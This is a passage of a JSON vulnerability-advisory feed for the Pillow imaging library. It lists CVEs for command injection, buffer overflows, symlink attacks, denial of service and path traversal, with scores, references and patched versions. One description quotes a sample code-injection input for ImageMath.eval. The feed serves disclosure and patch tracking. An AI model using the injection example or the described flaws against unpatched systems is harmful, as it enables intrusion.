6.2.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yN3JtLThqNmgtcjkzM84AAjLe/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2020-5311","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2020-5311"},{"uuid":"CVE-2020-5311","source_kind":"osv","url":"https://access.redhat.com/errata/RHSA-2020:0566"},{"uuid":"PYSEC-2020-82","source_kind":"osv","url":"https://access.redhat.com/errata/RHSA-2020:0566"},{"uuid":"ALPINE-CVE-2020-5311","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2020-5311"}]},{"uuid":"GSA_kwCzR0hTQS04bTl4LXB4d3EtajIzNs4AAelu","url":"https://github.com/advisories/GHSA-8m9x-pxwq-j236","title":"Pillow command injection","description":"Python Image Library (PIL) 1.1.7 and earlier and Pillow before 2.5.0 might allow remote attackers to execute arbitrary commands via shell metacharacters in unspecified vectors related to CVE-2014-1932, possibly JpegImagePlugin.py.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-05-17T04:45:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2014-3007","https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737059","http://people.canonical.com/~ubuntu-security/cve/2014/CVE-2014-1932.html","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2014-87.yaml","https://github.com/advisories/GHSA-8m9x-pxwq-j236"],"source_kind":"github","identifiers":["GHSA-8m9x-pxwq-j236","CVE-2014-3007"],"repository_url":null,"blast_radius":46.02474094438634,"created_at":"2023-08-17T00:05:15.669Z","updated_at":"2026-10-18T11:27:11.132Z","epss_percentage":0.10356,"epss_percentile":0.9561500000000001,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bTl4LXB4d3EtajIzNs4AAelu","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04bTl4LXB4d3EtajIzNs4AAelu","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"2.5.0","vulnerable_version_range":"\u003c 2.5.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04bTl4LXB4d3EtajIzNs4AAelu/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2014-3007","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2014-3007"}]},{"uuid":"GSA_kwCzR0hTQS12OXBjLTltdnAteDg3Z84AAbp5","url":"https://github.com/advisories/GHSA-v9pc-9mvp-x87g","title":"Pillow Buffer overflow in Jpeg2KEncode.c","description":"Heap-based buffer overflow in the j2k_encode_entry function in Pillow 2.5.0 through 3.1.1 allows remote attackers to cause a denial of service (memory corruption) via a crafted Jpeg2000 file.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-17T02:47:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2016-3076","https://bugzilla.redhat.com/show_bug.cgi?id=1321929","http://pillow.readthedocs.io/en/4.1.x/releasenotes/3.1.2.html","https://github.com/python-pillow/Pillow/blob/4.1.x/docs/releasenotes/3.1.2.rst","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2017-92.yaml","https://web.archive.org/web/20200227174644/http://www.securityfocus.com/bid/98042","https://github.com/advisories/GHSA-v9pc-9mvp-x87g"],"source_kind":"github","identifiers":["GHSA-v9pc-9mvp-x87g","CVE-2016-3076"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":35.13716781775731,"created_at":"2024-04-22T23:05:00.821Z","updated_at":"2026-11-12T04:10:29.157Z","epss_percentage":0.02594,"epss_percentile":0.8552,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OXBjLTltdnAteDg3Z84AAbp5","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12OXBjLTltdnAteDg3Z84AAbp5","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"3.1.2","vulnerable_version_range":"\u003e= 2.5.0, \u003c 3.1.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12OXBjLTltdnAteDg3Z84AAbp5/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2016-3076","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2016-3076"},{"uuid":"CVE-2016-3076","source_kind":"osv","url":"http://pillow.readthedocs.io/en/4.1.x/releasenotes/3.1.2.html"}]},{"uuid":"GSA_kwCzR0hTQS14ODk1LTJ3cm0taHZwN84AAbcx","url":"https://github.com/advisories/GHSA-x895-2wrm-hvp7","title":"PIL and Pillow Vulnerable to Symlink Attack on Tmpfiles","description":"The (1) `load_djpeg` function in `JpegImagePlugin.py`, (2) `Ghostscript` function in `EpsImagePlugin.py`, (3) `load` function in `IptcImagePlugin.py`, and (4) `_copy` function in `Image.py` in Python Image Library (PIL) 1.1.7 and earlier and Pillow before 2.3.1 do not properly create temporary files, which allow local users to overwrite arbitrary files and obtain sensitive information via a symlink attack on the temporary file.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-17T02:39:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.5,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2014-1932","https://github.com/python-imaging/Pillow/commit/4e9f367dfd3f04c8f5d23f7f759ec12782e10ee7","https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=737059","https://security.gentoo.org/glsa/201612-52","http://lists.opensuse.org/opensuse-updates/2014-05/msg00002.html","http://www.openwall.com/lists/oss-security/2014/02/11/1","http://www.ubuntu.com/usn/USN-2168-1","https://web.archive.org/web/20170103151725/http://www.securityfocus.com/bid/65511","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2014-22.yaml","https://github.com/advisories/GHSA-x895-2wrm-hvp7"],"source_kind":"github","identifiers":["GHSA-x895-2wrm-hvp7","CVE-2014-1932"],"repository_url":"https://github.com/python-imaging/Pillow","blast_radius":42.06562344379397,"created_at":"2023-08-16T23:05:11.893Z","updated_at":"2026-12-04T22:14:05.919Z","epss_percentage":0.00496,"epss_percentile":0.44128,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ODk1LTJ3cm0taHZwN84AAbcx","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14ODk1LTJ3cm0taHZwN84AAbcx","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"2.3.1","vulnerable_version_range":"\u003c 2.3.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14ODk1LTJ3cm0taHZwN84AAbcx/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2014-1932","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2014-1932"},{"uuid":"PYSEC-2014-22","source_kind":"osv","url":"http://www.ubuntu.com/usn/USN-2168-1"}]},{"uuid":"GSA_kwCzR0hTQS1oNXJmLXZncXgtd2p2Ms4AAU_b","url":"https://github.com/advisories/GHSA-h5rf-vgqx-wjv2","title":"Pillow denial of service via PNG bomb","description":"Pillow before 2.7.0 allows remote attackers to cause a denial of service via a compressed text chunk in a PNG image that has a large size when it is decompressed.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-14T02:05:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2014-9601","https://github.com/python-pillow/Pillow/pull/1060","http://lists.fedoraproject.org/pipermail/package-announce/2015-January/148442.html","http://lists.opensuse.org/opensuse-updates/2015-04/msg00056.html","http://pillow.readthedocs.org/releasenotes/2.7.0.html","http://www.oracle.com/technetwork/topics/security/bulletinjul2015-2511963.html","https://web.archive.org/web/20200227221255/http://www.securityfocus.com/bid/77758","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2015-16.yaml","https://www.djangoproject.com/weblog/2015/jan/02/pillow-security-release","https://github.com/advisories/GHSA-h5rf-vgqx-wjv2"],"source_kind":"github","identifiers":["GHSA-h5rf-vgqx-wjv2","CVE-2014-9601"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2023-08-16T23:05:12.094Z","updated_at":"2026-12-04T22:14:05.921Z","epss_percentage":0.04661,"epss_percentile":0.91947,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNXJmLXZncXgtd2p2Ms4AAU_b","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oNXJmLXZncXgtd2p2Ms4AAU_b","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"2.7.0","vulnerable_version_range":"\u003c 2.7.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNXJmLXZncXgtd2p2Ms4AAU_b/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2014-9601","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2014-9601"}]},{"uuid":"GSA_kwCzR0hTQS1qNmY3LWc0MjUtNGdteM4AAU-u","url":"https://github.com/advisories/GHSA-j6f7-g425-4gmx","title":"Pillow is vulnerable to Denial of Service (DOS) in the Jpeg2KImagePlugin","description":"The Jpeg2KImagePlugin plugin in Pillow before 2.5.3 allows remote attackers to cause a denial of service via a crafted image.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-14T02:05:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2014-3598","https://pypi.python.org/pypi/Pillow/2.5.3","http://lists.opensuse.org/opensuse-updates/2015-04/msg00056.html","https://github.com/python-pillow/Pillow/commit/347a1d8d956f9e64af4463ee25311b60cdd5657d","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2015-15.yaml","https://github.com/advisories/GHSA-j6f7-g425-4gmx"],"source_kind":"github","identifiers":["GHSA-j6f7-g425-4gmx","CVE-2014-3598"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2024-04-29T12:05:36.369Z","updated_at":"2026-10-22T15:10:39.435Z","epss_percentage":0.01993,"epss_percentile":0.80504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNmY3LWc0MjUtNGdteM4AAU-u","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNmY3LWc0MjUtNGdteM4AAU-u","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"2.5.3","vulnerable_version_range":"\u003c 2.5.3"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNmY3LWc0MjUtNGdteM4AAU-u/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2014-3598","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2014-3598"}]},{"uuid":"GSA_kwCzR0hTQS1jZm1yLTM4ZzktZjJoN84AAU-s","url":"https://github.com/advisories/GHSA-cfmr-38g9-f2h7","title":"Pillow denial of service via Crafted Block Size","description":"`PIL/IcnsImagePlugin.py` in Python Imaging Library (PIL) and Pillow before 2.3.2 and 2.5.x before 2.5.2 allows remote attackers to cause a denial of service via a crafted block size.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-05-14T02:05:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2014-3589","https://github.com/python-pillow/Pillow/commit/205e056f8f9b06ed7b925cf8aa0874bc4aaf8a7d","https://pypi.python.org/pypi/Pillow/2.3.2","https://pypi.python.org/pypi/Pillow/2.5.2","http://lists.opensuse.org/opensuse-updates/2015-04/msg00056.html","http://www.debian.org/security/2014/dsa-3009","https://github.com/python-pillow/Pillow/commit/5efeed77666bfd17708f3434b1d2daa9db1e1335","https://github.com/python-pillow/Pillow/commit/d47611e6fbb808ea109366781dd76559ffb80bcd","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2014-10.yaml","https://github.com/advisories/GHSA-cfmr-38g9-f2h7"],"source_kind":"github","identifiers":["GHSA-cfmr-38g9-f2h7","CVE-2014-3589"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2023-08-16T22:04:59.903Z","updated_at":"2026-12-04T22:14:05.923Z","epss_percentage":0.03362,"epss_percentile":0.89037,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZm1yLTM4ZzktZjJoN84AAU-s","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZm1yLTM4ZzktZjJoN84AAU-s","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"2.5.2","vulnerable_version_range":"\u003e= 2.5, \u003c 2.5.2"},{"first_patched_version":"2.3.2","vulnerable_version_range":"\u003c 2.3.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZm1yLTM4ZzktZjJoN84AAU-s/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2014-3589","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2014-3589"},{"uuid":"PYSEC-2014-10","source_kind":"osv","url":"http://www.debian.org/security/2014/dsa-3009"}]},{"uuid":"GSA_kwCzR0hTQS00Zng5LXZjODgtcTJ4Y80yIw","url":"https://github.com/advisories/GHSA-4fx9-vc88-q2xc","title":"Infinite loop in Pillow","description":"JpegImagePlugin may append an EOF marker to the end of a truncated file, so that the last segment of the data will still be processed by the decoder.\n\nIf the EOF marker is not detected as such however, this could lead to an infinite loop where JpegImagePlugin keeps trying to end the file.","origin":"UNSPECIFIED","severity":"LOW","published_at":"2022-03-11T23:39:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":0.0,"cvss_vector":null,"references":["https://github.com/python-pillow/Pillow/commit/baae9ec4b67c68e3adaf1208cf54e8de5e38a6fd","https://pillow.readthedocs.io/en/stable/releasenotes/9.0.0.html#ensure-jpegimageplugin-stops-at-the-end-of-a-truncated-file","https://github.com/advisories/GHSA-4fx9-vc88-q2xc"],"source_kind":"github","identifiers":["GHSA-4fx9-vc88-q2xc"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":0.0,"created_at":"2022-12-21T16:12:33.663Z","updated_at":"2026-10-18T20:25:34.663Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Zng5LXZjODgtcTJ4Y80yIw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00Zng5LXZjODgtcTJ4Y80yIw","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"9.0.0","vulnerable_version_range":"\u003c 9.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00Zng5LXZjODgtcTJ4Y80yIw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05ajU5LTc1cWotNzk1d80yIg","url":"https://github.com/advisories/GHSA-9j59-75qj-795w","title":"Path traversal in Pillow","description":"Pillow before 9.0.1 allows attackers to delete files because spaces in temporary pathnames are mishandled.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-03-11T23:10:32.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-24303","https://github.com/python-pillow/Pillow/commit/427221ef5f19157001bf8b1ad7cfe0b905ca8c26","https://pillow.readthedocs.io/en/stable/releasenotes/9.0.1.html#security","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-168.yaml","https://security.gentoo.org/glsa/202211-10","https://github.com/python-pillow/Pillow/pull/6010","https://github.com/python-pillow/Pillow/commit/10c4f75aaa383bd9671e923e3b91d391ea12d781","https://github.com/python-pillow/Pillow/commit/143032103c9f2d55a0a7960bd3e630cb72549e8a","https://github.com/python-pillow/Pillow/blob/e8ab5640774716c5486d3cb05167f74f742ad6ef/CHANGES.rst?plain=1#L1172","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/W4ZUXPKEX72O3E5IHBPVY5ZCPMJ4GHHV","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XR6UP2XONXOVXI4446VY72R63YRO2YTP","https://github.com/python-pillow/Pillow/pull/3450","https://github.com/advisories/GHSA-9j59-75qj-795w"],"source_kind":"github","identifiers":["GHSA-9j59-75qj-795w","CVE-2022-24303"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.55029250651611,"created_at":"2022-12-21T16:12:09.939Z","updated_at":"2026-12-04T22:13:41.491Z","epss_percentage":0.02691,"epss_percentile":0.86293,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ajU5LTc1cWotNzk1d80yIg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05ajU5LTc1cWotNzk1d80yIg","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"9.0.1","vulnerable_version_range":"\u003c 9.0.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05ajU5LTc1cWotNzk1d80yIg/related_packages","related_advisories":[{"uuid":"CVE-2022-24303","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/24xxx/CVE-2022-24303.json"},{"uuid":"ALPINE-CVE-2022-24303","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2022-24303"},{"uuid":"DEBIAN-CVE-2022-24303","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2022-24303"}]},{"uuid":"GSA_kwCzR0hTQS1wdzNjLWg3d3AtY3ZoeM0hfQ","url":"https://github.com/advisories/GHSA-pw3c-h7wp-cvhx","title":"Improper Initialization in Pillow","description":"Pillow is the friendly PIL (Python Imaging Library) fork. `path_getbbox` in `path.c` in Pillow before 9.0.0 improperly initializes `ImagePath.Path`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-01-12T20:07:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-22815","https://github.com/python-pillow/Pillow/blob/c5d9223a8b5e9295d15b5a9b1ef1dae44c8499f3/src/path.c#L331","https://pillow.readthedocs.io/en/stable/releasenotes/9.0.0.html#fixed-imagepath-path-array-handling","https://lists.debian.org/debian-lts-announce/2022/01/msg00018.html","https://www.debian.org/security/2022/dsa-5053","https://github.com/python-pillow/Pillow/commit/c48271ab354db49cdbd740bc45e13be4f0f7993c","https://github.com/python-pillow/Pillow/pull/5920","https://github.com/python-pillow/Pillow/commit/1e092419b6806495c683043ab3feb6ce264f3b9c","https://github.com/python-pillow/Pillow/blob/e8ab5640774716c5486d3cb05167f74f742ad6ef/CHANGES.rst?plain=1#L1187","https://github.com/advisories/GHSA-pw3c-h7wp-cvhx","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-8.yaml"],"source_kind":"github","identifiers":["GHSA-pw3c-h7wp-cvhx","CVE-2022-22815"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":34.14738844260922,"created_at":"2022-12-21T16:12:32.484Z","updated_at":"2026-12-02T11:11:45.794Z","epss_percentage":0.02349,"epss_percentile":0.84147,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdzNjLWg3d3AtY3ZoeM0hfQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1wdzNjLWg3d3AtY3ZoeM0hfQ","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"9.0.0","vulnerable_version_range":"\u003c 9.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1wdzNjLWg3d3AtY3ZoeM0hfQ/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2022-22815","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2022-22815"},{"uuid":"CVE-2022-22815","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/22xxx/CVE-2022-22815.json"},{"uuid":"ALPINE-CVE-2022-22815","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2022-22815"}]},{"uuid":"GSA_kwCzR0hTQS14cmN2LWY5Z20tdjQyY80hew","url":"https://github.com/advisories/GHSA-xrcv-f9gm-v42c","title":"Out-of-bounds Read in Pillow","description":"path_getbbox in path.c in Pillow before 9.0.0 has a buffer over-read during initialization of ImagePath.Path.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-01-12T20:07:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-22816","https://github.com/python-pillow/Pillow/blob/c5d9223a8b5e9295d15b5a9b1ef1dae44c8499f3/src/path.c#L331","https://pillow.readthedocs.io/en/stable/releasenotes/9.0.0.html#fixed-imagepath-path-array-handling","https://lists.debian.org/debian-lts-announce/2022/01/msg00018.html","https://www.debian.org/security/2022/dsa-5053","https://security.gentoo.org/glsa/202211-10","https://github.com/python-pillow/Pillow/pull/5920","https://github.com/python-pillow/Pillow/commit/5543e4e2d409cd9e409bc64cdc77be0af007a31f","https://github.com/advisories/GHSA-xrcv-f9gm-v42c","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-9.yaml"],"source_kind":"github","identifiers":["GHSA-xrcv-f9gm-v42c","CVE-2022-22816"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":34.14738844260922,"created_at":"2022-12-21T16:12:38.745Z","updated_at":"2026-12-02T11:11:45.792Z","epss_percentage":0.02064,"epss_percentile":0.81919,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cmN2LWY5Z20tdjQyY80hew","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14cmN2LWY5Z20tdjQyY80hew","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"9.0.0","vulnerable_version_range":"\u003c 9.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14cmN2LWY5Z20tdjQyY80hew/related_packages","related_advisories":[{"uuid":"DEBIAN-CVE-2022-22816","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2022-22816"},{"uuid":"CVE-2022-22816","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/22xxx/CVE-2022-22816.json"},{"uuid":"ALPINE-CVE-2022-22816","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2022-22816"}]},{"uuid":"GSA_kwCzR0hTQS04dmoyLXZ4eDMtNjY3d80hfA","url":"https://github.com/advisories/GHSA-8vj2-vxx3-667w","title":"Arbitrary expression injection in Pillow","description":"`PIL.ImageMath.eval` in Pillow before 9.0.0 allows evaluation of arbitrary expressions, such as ones that use the Python exec method `ImageMath.eval(\"exec(exit())\")`.\n\nWhile Pillow 9.0.0 restricted top-level builtins available to PIL.ImageMath.eval(), it did not prevent builtins available to lambda expressions. These are now also restricted in 9.0.1.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2022-01-12T20:07:33.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2022-22817","https://pillow.readthedocs.io/en/stable/releasenotes/9.0.0.html#restrict-builtins-available-to-imagemath-eval","https://lists.debian.org/debian-lts-announce/2022/01/msg00018.html","https://www.debian.org/security/2022/dsa-5053","https://github.com/python-pillow/Pillow/commit/8531b01d6cdf0b70f256f93092caa2a5d91afc11","https://pillow.readthedocs.io/en/stable/releasenotes/9.0.1.html#security","https://security.gentoo.org/glsa/202211-10","https://lists.debian.org/debian-lts-announce/2024/03/msg00021.html","https://github.com/advisories/GHSA-8vj2-vxx3-667w","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2022-10.yaml"],"source_kind":"github","identifiers":["GHSA-8vj2-vxx3-667w","CVE-2022-22817"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"2022-12-21T16:12:33.672Z","updated_at":"2026-12-04T22:13:41.495Z","epss_percentage":0.03684,"epss_percentile":0.89975,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dmoyLXZ4eDMtNjY3d80hfA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04dmoyLXZ4eDMtNjY3d80hfA","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"9.0.1","vulnerable_version_range":"\u003c 9.0.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04dmoyLXZ4eDMtNjY3d80hfA/related_packages","related_advisories":[{"uuid":"ALPINE-CVE-2022-22817","source_kind":"osv","url":"https://security.alpinelinux.org/vuln/CVE-2022-22817"},{"uuid":"DEBIAN-CVE-2022-22817","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2022-22817"},{"uuid":"CVE-2022-22817","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2022/22xxx/CVE-2022-22817.json"}]},{"uuid":"GSA_kwCzR0hTQS1wNDloLWhqdm0tamczaM0W2w","url":"https://github.com/advisories/GHSA-p49h-hjvm-jg3h","title":"PCX P mode buffer overflow in Pillow","description":"libImaging/PcxDecode.c in Pillow before 6.2.2 has a PCX P mode buffer overflow.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2021-11-03T18:05:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2020-5312","https://github.com/python-pillow/Pillow/commit/93b22b846e0269ee9594ff71a72bec02d2bea8fd","https://access.redhat.com/errata/RHSA-2020:0566","https://access.redhat.com/errata/RHSA-2020:0578","https://access.redhat.com/errata/RHSA-2020:0580","https://access.redhat.com/errata/RHSA-2020:0681","https://access.redhat.com/errata/RHSA-2020:0683","https://access.redhat.com/errata/RHSA-2020:0694","https://github.com/pypa/advisory-db/blob/7872b0a91b4d980f749e6d75a81f8cc1af32829f/vulns/pillow/PYSEC-2020-83.yaml","https://pillow.readthedocs.io/en/stable/releasenotes/6.2.2.html","https://www.debian.org/security/2020/dsa-4631","https://github.com/advisories/GHSA-p49h-hjvm-jg3h","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2020-83.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedorap